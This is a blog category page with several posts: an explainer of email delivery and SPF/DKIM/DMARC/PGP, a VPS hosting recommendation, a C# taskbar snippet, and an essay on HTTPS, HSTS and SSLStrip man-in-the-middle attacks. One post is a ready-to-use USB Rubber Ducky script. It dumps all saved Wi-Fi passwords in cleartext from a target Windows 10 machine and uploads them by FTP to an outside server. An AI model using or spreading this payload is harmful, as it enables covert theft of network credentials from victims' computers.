Weil Jimmer's BlogWeil Jimmer's Blog


Category:Note

Found 22 records. Now is Page 1 / 5.

深入淺出 Email 通訊運作原理
No Comments

Published:
Updated:2017-04-19 21:45:46

現代已是資訊豐富多元的時代,不像以前得依靠郵差去送信,只要寄送電子郵件,幾乎瞬間就可以傳遞到對方的手上。Email也問世幾十年,但當初沒有設計好,現在才有一堆新的政策補強Email的缺點。

我直接進入正題,若有誤還請多多包涵或留言糾正我。

首先,我想先簡單介紹,Email郵件的格式,Email很像一個正常的網頁回應,包含標頭,內容,標頭Header會含有一些重要資訊,例如誰寄信的、收件者是誰、郵件的編碼、發件人IP(非必要)……資訊。通常內容是用Base64編碼啦。少數HTML郵件,是直接傳送 plaintext 純文本 UTF8 編碼郵件。郵件編碼設定有誤可能會造成收件亂碼或是軟體不支援此編碼的各種問題。

以下是範例郵件內容:


Mime-Version: 1.0
Date: Mon, 10 Apr 2017 12:59:53 +0000
Content-Type: multipart/alternative;
 boundary="--=_RainLoop_611_240864755.1491829193"
Message-ID: <fc76c3e9a9187fd5b0cb8f86a8f119b8@weils.net>
X-Mailer: RainLoop/1.11.0.203
From: "Weil Jimmer" <me@weils.net>
Subject: test
To: weil@00wbf.com

----=_RainLoop_611_240864755.1491829193
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable

--=0A=0AWeil Jimmer , Member Of White Birch Forum Team.=0Ahttps://www.wbf=
tw.org (https://www.wbftw.org/)=0A=0ABest Regards.

----=_RainLoop_611_240864755.1491829193
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE html><html><head><meta http-equiv=3D"Content-Type" content=3D"t=
ext/html; charset=3Dutf-8" /></head><body><div data-html-editor-font-wrap=
per=3D"true" style=3D"font-family: arial, sans-serif; font-size: 13px;"><=
signature><br><br>--<br><br>Weil Jimmer , Member Of White Birch Forum Tea=
m.<br><a target=3D"_blank" rel=3D"noopener noreferrer" href=3D"https://ww=
w.wbftw.org/">https://www.wbftw.org</a><br><br>Best Regards.</signature><=
/div></body></html>

----=_RainLoop_611_240864755.1491829193--

郵件講完了,之後就是Email格式。

全世界 Email以 username@domain.net 為主,想必大家都知道這個形式也看過很多次,根據RFC標準,Email地址有效長度上限是254字串。而 「@」之後的文字為域名,就是網域名稱,通常對應的域名可能包含mail關鍵字,而且盡可能的越短越好(畢竟使用者不會記那麼長的Email)。例如:gmail.com、yahoo.com、weils.net。

講到域名就得扯到 DNS (Domain Name System),這邊簡單介紹就好了,由於現行網路世界,記憶英文單字的網址比記憶IP更來的人性化,才出了一個域名系統,瀏覽網頁都要透過查詢域名IP以對應目標伺服器才可以上網,同理,Email也是如此,Email域名透過查詢MX紀錄,得知"優先順序"及"目標伺服器IP或另一個域名"。

如圖:

得到正確的 IP 之後,透過 TCP 連線,連到目標伺服器的 SMTP (port25或587)軟體,進行通訊作業。

可以參考看看我寫的這篇文章:不用寄信 檢查 Email 是否 真實 存在 PHP

這是整個 Email 通訊的流程,透過連線到發信伺服器,然後,發到另一台收件伺服器,通過內送信件軟體存到資料庫,然後透過IMAP或POP3的形式傳出來。當然現行有更安全的通訊協定,經過TLS加密的IMAPS、POP3S,以及SMTPS…等,其中也有驗證證書,暫且不提,要談到安全連線可以參考我之前寫的文章:淺談 HTTP、HTTPS、HSTS 安全 MITM、SSLStrip

這大概就是收發信的完整流程,一些人會在內送伺服器軟體上加入過濾程式、掃描病毒,如:SpamAssassin。

我再補充一些關於IMAP(Internet Message Access Protocol)、POP3(Post Office Protocol)的區別。IMAP簡言之就是會同步Email伺服器的各種動作,在多個裝置同步登入讀取訊息,郵件也是儲存在伺服器上面。而POP3則會將郵件下載到本機的空間,並且從伺服器上面刪除,導致只有第一次取信的客戶端可以拿到信件,其餘都無法取信,因為已經被刪掉了,由於是存在本機,所以是不占用太多伺服器空間,除非一直不去取信。舉例:手機登入POP3伺服器讀取訊息,電腦版再登入電腦版的郵件軟體,是看不到那則訊息的,但假如是用IMAP,則兩台裝置都可以看到信件,並且其中一台已讀,另一台也會跟著已讀。

這大概就是完整的 Email 體系,但還是有安全問題。如果要講監聽的風險,很多軟體都會寫明是否驗證Email伺服器的CA證書,不過大多數預設都是忽略的,即使證書錯誤,依舊照常登入收信寄信,這給了駭客一個機會竊取 Email 資訊,另外一個安全問題就是:"發件者"是可以被偽造的!如下圖所示:

甚至發件人可以濫用發件伺服器,任何沒有設定權限(Relay Access)的伺服器都可能被拿來當作群發伺服器,發送一堆垃圾信以及偽造信件。

基於這個原因,現在的 Mail 系統,又加了一個新的技術就是DKIM,為了杜絕未經簽署,無法判斷是不是對方寫的真實信件,而不是偽造的。這整個政策主要就是,在域名key加入一個selector,裡面包含DKIM加密公鑰。

並把簽章的資訊附在郵件上面,

如果通過驗證,大多數郵件軟體則會顯示勾勾或任何已驗證的標示,Gmail則會顯示此郵件的簽署者。由此可以確保信件是由"特定域名"的"官方伺服器"寄出的,不是其他假的伺服器偽造出來的信件。

但,如果有其他來信是沒有簽章的,是否要信任該信件呢?這又牽扯到一個新的政策就是Author Domain Signing Practices (ADSP),一樣通過domainkey,宣告一個TXT紀錄確保所有郵件都是有簽章的!

_adsp._domainkey.example.com.   IN   TXT   "dkim=all"

基本上,啟動 DKIM 就已經很安全了,不過基於設置上很麻煩,有另一個方法也不錯就是SPF紀錄(Sender Policy Framework (SPF)),確保發信伺服器的IP,只能由是哪些允許的IP。

如此一來,過濾垃圾信的軟體就更好計分了,沒通過DKIM簽章,沒有加密,SPF紀錄不合的,沒有對應 hostname 的伺服器一律黑單。這些政策使得用戶能夠受到更好的保護,而不會被偽造的假信所欺騙。

基於並非所有收件伺服器都很嚴謹的過濾掉信件,所以還有一個DMARC政策,給域名管理者一個更方便的方式管理其他假的發件人。

DMARC可以控制:那些沒有通過驗證的郵件是否被接受,以及,收件伺服器可以發送每日收件報告給域名管理者…等功能。以確保域名不會因被其他人濫發郵件而被列為黑單。

以下是我收到的每日回報的郵件。

附件的內容大概長這樣,


<?xml version="1.0" encoding="UTF-8" ?>
<feedback>
  <report_metadata>
    <org_name>google.com</org_name>
    <email>noreply-dmarc-support@google.com</email>
    <extra_contact_info>https://support.google.com/a/answer/2466580</extra_contact_info>
    <report_id>4041210869707717010</report_id>
    <date_range>
      <begin>1491523200</begin>
      <end>1491609599</end>
    </date_range>
  </report_metadata>
  <policy_published>
    <domain>weils.net</domain>
    <adkim>r</adkim>
    <aspf>r</aspf>
    <p>none</p>
    <sp>none</sp>
    <pct>100</pct>
  </policy_published>
  <record>
    <row>
      <source_ip>2600:3c02::f03c:91ff:fe91:3ccd</source_ip>
      <count>4</count>
      <policy_evaluated>
        <disposition>none</disposition>
        <dkim>pass</dkim>
        <spf>pass</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>weils.net</header_from>
    </identifiers>
    <auth_results>
      <dkim>
        <domain>weils.net</domain>
        <result>pass</result>
        <selector>email</selector>
      </dkim>
      <spf>
        <domain>weils.net</domain>
        <result>pass</result>
      </spf>
    </auth_results>
  </record>
  <record>
    <row>
      <source_ip>45.79.194.99</source_ip>
      <count>1</count>
      <policy_evaluated>
        <disposition>none</disposition>
        <dkim>pass</dkim>
        <spf>pass</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>weils.net</header_from>
    </identifiers>
    <auth_results>
      <dkim>
        <domain>weils.net</domain>
        <result>pass</result>
        <selector>email</selector>
      </dkim>
      <spf>
        <domain>weils.net</domain>
        <result>pass</result>
      </spf>
    </auth_results>
  </record>
</feedback>

既然都有了這麼多保護用戶的政策,用戶是否就可以安全無疑地使用 Email 呢?我想說的是:理論上沒錯,但是 Email 仍然不可以當作"隱私"的儲藏所。

Gmail會有自動機器人讀取你的電子郵件,試著找出任何違法的內容並且自動送交給相關司法機構,你可以相信 Email 服務商不會賣你的資料嗎?MailBox通常是不會加密的,網路上有一家公司提供安全的 Email服務可以參考一下(ProtonMail),正因如此,一般用戶是不可以透過 Email寄送任何敏感訊息!越正規的公司越會禁止任何違法活動,如果要安全的傳送資料,還是使用較具有隱私性的服務,或是私人Mail,基於這個緣故,現在有人推倡使用PGP加密Email。

利用PGP加密的Email,沒有私鑰以及密碼是無法解密!如下圖:

而收件人因為擁有自己的私鑰所以可以解密。如下圖:(Gmail擴展功能:PGP

使用PGP加密的軟體,輸入一組自訂的密碼,會產生公鑰(Public Key)、私鑰(Private Key),通常我們會為了方便,把私鑰公鑰一塊存在別人的伺服器裡面,但是別擔心私鑰被儲存不安全,因為私鑰有透過加密,必須輸入當初自訂的密碼,才可以解密。

所以,要解密必須擁有密碼和私鑰。要加密,則要擁有對方的公鑰,有點類似用對方的鎖頭鎖住盒子,再寄給對方,對方必須擁有鑰匙才可以打開盒子。

同時也可以用這個方法對自己寄出的信件進行數位簽章(Sign),如此一來可以確認雙方的通訊絕對安全之外,也可以確保發信人確實就是對方,因為只有對方知道密碼。

大概介紹完了,我有想到其他的我再補充。

By Weil Jimmer


This entry was posted in General, WebHosting, Experience, Note, The Internet By Weil Jimmer.

好用VPS推薦Linode-架設網站
No Comments

Published:
Updated:2017-04-03 16:12:06

作為長久以來的網站架設與經營者,我做個簡短的介紹各種網站服務的型態,以及為何選用VPS架設自己的網站。

架設網站通常有很多種形式,尤其是Web Shared Hosting,這種服務通常是沒有自己的硬體資源,而且還必須和其他帳號共用資源,例如CPU、RAM,如果太高可能導致帳號被停用。另外就是IP也是共享的,除非加付錢買獨立IP,不然通常是同一個IP架設很多個網站對應不同的域名,這是最便宜的網站架設方案,一個月可能只有一美金至十幾美金,也是我最不推薦的一種。

第二類就是Dedicated Web Hosting,擁有自己的空間流量、包刮CPU、RAM、IP…等,差不多等於一台伺服器就只架設一個網站,但代價就是價格非常的高,一個月會花上幾十美金至上百美金。

接著還有所謂的Cloud Hosting,和Web Shared Hosting是很類似的,只是它比較穩定,而且是由多台伺服器在一起,價格也不會特別昂貴。缺點是更新了網站資料要同步更新到很多台電腦上面。

最後,就是VPS(Virtual Private Server)了,將一台機器的設備切割成很多分不同的部分,不過,每個使用者是有自己的RAM、CPU、甚至是獨立IP,並且大多數的供應商都會提供ROOT權限(最高權限),所以,同一台設備上其他用戶怎麼操作都不會消耗到你自己的硬體資源!相對於上面所提到的各種服務,這算是比較折衷的方案,而且也比較深入系統,可以運行的程式不單單是WebServer,想架什麼就有可以架什麼,整個系統都是自己的,通常是要有一定Linux操作經驗,當然也有賣Windows系統的VPS。

我個人是偏好Linux,覺得比較好,沒有用太多資源,導致自己的資源變少的問題,價格又不會太高昂。除非買配備更高級的方案,價格從幾美金到上百美金都有。

VPS供應商很多個,現在有幾個很熱門的VPS,如:DigitalOcean、Linode、AWS,我個人是推薦Linode拉,覺得穩定,速度也還不錯。性價比感覺比較高。

Linode的方案:超連結

DigitalOcean的方案:超連結

以十美金的方案來比,還是Linode勝出!價格相同,記憶體多1GB。

推Linode:https://www.linode.com/

有網友有其他意見,歡迎留言。

By Weil Jimmer


This entry was posted in General, WebHosting, Experience, Note, The Internet By Weil Jimmer.

Taskbar Progress 工作列 進度條 C# .NET
No Comments

Published:
Updated:2017-03-14 14:08:38

如上圖所示,工作列可以有進度條。本方法需要較底層,所以必須調用外部API。

請先下載參考:WindowsAPICodePack
https://sites.google.com/site/1456wbff/home/WindowsAPI.7z?attredirects=0&d=1
https://mega.nz/#!0J9BSbYB!4svqcg8liM6fRGDc9Zk-D_NjNzdMF5GEHY6vzLt13rY
http://cht.tw/h/nrkw9

下載完畢後匯入參考,並使用代碼:

public void set_status_taskbar ( int value_, int max_ ) {
    if ( Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.IsPlatformSupported ) {
        var taskbarInstance = Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance;
		taskbarInstance.SetProgressState(Microsoft.WindowsAPICodePack.Taskbar.TaskbarProgressBarState.Normal);
        taskbarInstance.SetProgressValue(value_, max_);
    }
}

public void set_status_finish () {
    if ( Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.IsPlatformSupported ) {
        var taskbarInstance = Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance;
        taskbarInstance.SetProgressState(Microsoft.WindowsAPICodePack.Taskbar.TaskbarProgressBarState.NoProgress);
    }
}

僅此作為筆記。


This entry was posted in General, Experience, Note, C# By Weil Jimmer.

WiFi Password Graber Rubber Ducky Script for win10
No Comments

Published:
Updated:2016-09-24 10:02:31

GUI r
DELAY 500
SHIFT
STRING cmd
ENTER
DELAY 500
SHIFT
DELAY 750
STRING cd %USERPROFILE%/Desktop
ENTER
STRING md wifi_pwd
ENTER
STRING cd wifi_pwd
STRING netsh wlan export profile key=clear
ENTER
STRING copy /b Wi-Fi*.xml wifi_pwd.xml
ENTER
STRING MOVE /Y wifi_pwd.xml ./../wifi_pwd.xml
ENTER
STRING cd ..
ENTER
STRING rmdir /Q /S wifi_pwd
ENTER
STRING ftp FTP.HOST.ORG
DELAY 750
STRING USERNAME
DELAY 750
STRING PASSWORD
ENTER
DELAY 750
STRING put wifi_pwd.xml
ENTER
DELAY 5000
STRING quit
ENTER
STRING exit
ENTER

This rubber ducky script will automatically create a FILE which consist of all the wifi password in target computer you pluged in usb.

Also, upload a wifi-password to ftp server.

Note: this script can't bypass Windows Firewall Msgbox!


This entry was posted in General, Functions, Note, The Internet, Wi-Fi By Weil Jimmer.

淺談 HTTP、HTTPS、HSTS 安全 MITM、SSLStrip
No Comments

Published:
Updated:2017-02-28 14:39:12

01

眾所皆知要監聽帳號密碼已經不是難事,如上圖所示已經取得了"非HTTPS"加密連線的帳號密碼。最近研究少有成果,來寫篇文章留個紀念,當作我已經懂了原理。若有錯還請各位高手指正。

02

正常HTTP連線是不會有任何駭客可以侵入,例如手機網路(不談破譯基站或偽造基站)、非共用的私人網段。

03

一旦在區域網路上有他人的存在,就可能造成資安漏洞被MiTM(中間人)攻擊,竊聽信用卡、帳密…等資訊,例如:公用電腦、公用WiFi。所以很多重要網站(如:Google、FB)都有透過加密連線。如下圖所示,綠色鎖頭 https。

ssl

HTTPS的誕生就是預防被竊聽,它的加密現在有兩種形式,一個是RSA、另一個是ECC,都是利用數學難題作為基礎來加密資訊。

04

由上圖可知,每台電腦在出廠時,都會有"證書"存在自己電腦,不需要經過網路傳輸。也就是 CA Root 。所有證書的簽發都是一層一層向下簽,CA簽發給CA下的單位如DV、OV、EV證書驗證機構,再簽發給域名。而瀏覽器默認信任CA Root,由於來源可靠,故此域名就跟著被一塊信任。

0605

當攻擊者想要竊聽 HTTPS 時會造成問題,因為攻擊者沒有私鑰,無法解密訊息,導致此監聽就無意義了,故只能偽造證書。但是偽造證書會出現一個問題,瀏覽器會警告用戶此證書不可信任(域名錯誤、來源不可信…等)!

CA-unknowCA-domainerror

所以攻擊者需要監聽HTTPS的辦法就是,想辦法讓瀏覽器不要透過HTTPS連線,利用SSLStrip可以達到此目的,假設此伺服器是強制HTTPS的情況,就會變成駭客與伺服器做安全連線,而真實用戶與駭客間採用HTTP連線。

08

因為這種情況的發生,所以進而加入一個新功能HSTS,嚴格HTTPS連線,一旦連上了HTTPS,就會發送HSTS頭部訊息,瀏覽器接收後,此後不管任何到此域名的連線都會變強制在本地端做307導向。使攻擊者只能接受並原封不動的傳送此連線資訊,而無法被監聽。

09

但不少用戶在瀏覽器網址框都是直接打 域名 或是 打 http:// 而不是 https:// ,所以普遍用戶都是 301 轉跳到 HTTPS,在第一次連接時的頭部訊息,如果發動了攻擊,就可以偽造後續所有連線,所以…SSLStrip還是略勝一籌阿。

10

基於此緣故,現行網際網路又推行了一個新東西:HSTS preload,顧名思義,預先載入,各網站的擁有者可以登入自己的域名到 preload list,等日後瀏覽器更新時,就會把這些網站列表編譯進瀏覽器內。此後瀏覽器,不用透過 301 轉向,直接查詢網站是否在清單裡,如果存在,則直接強制HTTPS連線,就算用戶輸入 http:// 開頭,還是一樣強制307轉跳到https連線。

11

這已經是終極預防措施,不過,經過我去查網路上某資訊得知,這個清單在Chrome瀏覽器中並非靜態,造成可以利用Delorean時間竄改工具,攻擊瀏覽器,使之 preload 清單的 域名 過期,回到原本 先訪問 HTTP 再 轉跳 HTTPS 的模式,造就了 駭客再次入侵。SSLStrip 還是贏了……防不勝防!上網時要注意看是不是綠色鎖頭喔~

image


This entry was posted in General, WebHosting, Experience, Note, The Internet, Wi-Fi By Weil Jimmer.

 1 2 3 4 5 /5 頁)下一頁 最終頁

Visitor Count

pop
nonenonenone

My Forum:

forum

Search

taiwan
Taiwan is a sovereign independent country, not a province of People's Republic of China.

We are "Republic of China (ROC)".

Communist Party of China is illegal and slaving people of China.


Privacy is your right and ability to be yourself and express yourself without the fear that someone is looking over your shoulder and that you might be punished for being yourself, whatever that may be.

It is quality rather than quantity that matters.

I WANT Internet Freedom.

Reality made most of people lost their childishness.

The Lie We Live

youtube

The Questions We Never Ask

youtube

Support The Zeitgeist Movement

The Zeitgeist Movement

Man

youtube

In The Fall

youtube

Facebook is EATING the Internet

Facebook

Support/Donate

This site also need a little money to maintain operations, not entirely without any cost in the Internet. Your donations will be the best support and power of the site.
MethodBitcoin Address
bitcoin1NRMVGGpm2T1pmeejisLSEhCXfCefEW9V4

Recent Comments

sickcatail on STEAM免費序號

包包 on STEAM免費序號

問問題 on 最棒的手機通訊軟體 Telegram

unocme on STEAM免費序號

窩仔 on STEAM免費序號

Categories

Announcement (2)

Bash (1)

C (1)

C# (4)

C++ (1)

Experience (33)

Flash (2)

Free (9)

Functions (35)

Games (13)

General (38)

HTML (6)

Java (12)

JS (7)

Mood (22)

Note (22)

Office (1)

PHP (9)

Product (9)

Python (4)

Software (6)

The Internet (13)

Tools (11)

VB.NET (8)

WebHosting (6)

Wi-Fi (5)

XML (4)